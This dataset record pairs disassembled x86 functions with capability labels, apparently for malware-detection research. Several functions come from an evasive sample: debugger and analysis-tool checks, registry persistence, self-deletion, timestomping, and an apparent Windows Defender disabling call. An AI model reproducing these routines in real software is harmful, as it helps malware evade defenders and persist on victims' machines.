joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100925aa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x100be3d0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100925f0
cmp word [ebx], dx
jne 0x100925f0
or byte [eax + edi + 0x28], 4
jmp 0x100925f5
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x10092758
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x10092738
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x10092636
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1009266c
cmp eax, edx
jae 0x1009267a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x10092611
jmp 0x10092758
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10092733
cmp dword [ebp - 0x18], 0
je 0x10092733
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x100be3d0]
test byte [eax + edi + 0x28], 0x48
je 0x10092709
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x100926cd
mov word [esi], cx
jmp 0x10092704
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x100be3d0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100be3d0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x100be3d0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x10092758
pop eax
cmp word [ebp - 4], ax
jne 0x10092719
cmp esi, ebx
jne 0x10092719
mov word [esi], ax
jmp 0x10092755
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1009317d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x10092758
push 0xd
pop eax
jmp 0x10092714
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x100be3d0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x10092752
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x10092758
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10096f2e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10096fcb
push ebx
push esi
call fcn.10096ef7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10096e8b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10096f78
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10096fca
push edi
push eax
call fcn.1009355a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10096f98
call fcn.10090894
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10096fc9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10096e8b
add esp, 0x20
test eax, eax
jne 0x10096fb7
push edi
call fcn.10090894
jmp 0x10096fbf
push ebx
call fcn.10090894
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1009d101
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.1009d07d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1009d270
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1009d270
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1009d225
jg 0x1009d15d
test eax, eax
je 0x1009d21b
push 1
push 0x1000
call fcn.10090837
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1009d180
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1009d212
push 0x8000
push ebx
call fcn.1009cfae
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1009d1a9
jg 0x1009d1a4
cmp ecx, 0x1000
jb 0x1009d1a9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.10092241
add esp, 0x10
cmp eax, 0xffffffff
je 0x1009d1ee
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1009d1a4
jl 0x1009d1d5
test ecx, ecx
jne 0x1009d196
push dword [ebp - 0xc]
push ebx
call fcn.1009cfae
push esi
call fcn.10090894
add esp, 0xc
xor ebx, ebx
jmp 0x1009d27e
cmp byte [edi + 0x24], 0
je 0x1009d205
cmp dword [edi + 0x20], 5
jne 0x1009d205
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1009d210
mov ebx, dword [edi + 0x18]
jmp 0x1009d212
xor ebx, ebx
push esi
call fcn.10090894
pop ecx
jmp 0x1009d27e
test ecx, ecx
jg 0x1009d1e7
jl 0x1009d225
test eax, eax
jae 0x1009d1e7
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1009317d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1009d245
cmp byte [edi + 0x1c], 0
je 0x1009d1e7
jmp 0x1009d276
push ebx
call fcn.10098254
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1009d1e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1009d27e
cmp byte [edi + 0x1c], 0
je 0x1009d27b
mov ebx, dword [edi + 0x18]
jmp 0x1009d27e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1009317d
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1009e140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1009e16d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1009e16d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x40111b
xor edi, edi
push edi
push 0x404478
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x40111b
push 0x124
lea eax, [esp + 0x18]
push edi
push eax
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010d5
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
push str.wireshark.exe
lea edx, [esp + 0x38]
push edx
call edi
test eax, eax
jne 0x401115
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x401083
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x4010d1
lea ecx, [esp + 0xc]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4010d1
test byte [esp + 0xc], 2
jne 0x4010d1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x401124
push str.dumpcap.exe
call fcn.00401aa0
test eax, eax
jne 0x401124
push str.idag.exe
call fcn.00401aa0
test eax, eax
jne 0x401124
push str.vmwaretray.exe
call fcn.00401aa0
test eax, eax
jne 0x401124
push str._globalroot_systemroot_system32_vmx_fb.dll
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401124
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x18]
jmp 0x4010a7
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - reloc.avifil32.dll_AVIStreamRelease], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push str.softwaremicrosoftwindowscurrentversion_run
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401f70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4015f0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4015ef
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push reloc.shlwapi.dll_SHGetValueW
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a5d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401a5d
test byte [ebp + 8], 2
jne 0x401a5d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a81
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401a81
test byte [ebp + 8], 2
jne 0x401a81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401de0
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401e97
lea ecx, [ebp - 4]
push ecx
call fcn.004013c0
mov esi, eax
test esi, esi
je 0x401e97
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401e75
rdtsc
xor dword [0x45904c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45904c], eax
push 0x4045a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401e55
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401e55
push 0x45904c
call eax
mov ecx, dword [0x45904c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004012e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401e97
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401ea0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401f0c
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f0c
test byte [ebp - 8], 2
jne 0x401f0c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401f65
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401f65
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f65
test byte [ebp + 8], 2
jne 0x401f65
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401fb0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x402048
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x4020ab
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4020ab
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x40203f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40203f
test byte [ebp - 4], 2
jne 0x40203f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x402015
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push str.kernel
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x40208e
push str..dll
push eax
call edi
test eax, eax
jne 0x4020a1
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x402070
jmp 0x402015
mov edi, 1
jmp 0x402018
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020c0
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4052a0
push 0x403b02
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402187
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402187
push str.MpClient.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402187
push str.WDEnable
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402187
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402187
test esi, esi
je 0x402192
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - PathAppendW], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402330
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push PathAppendW
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret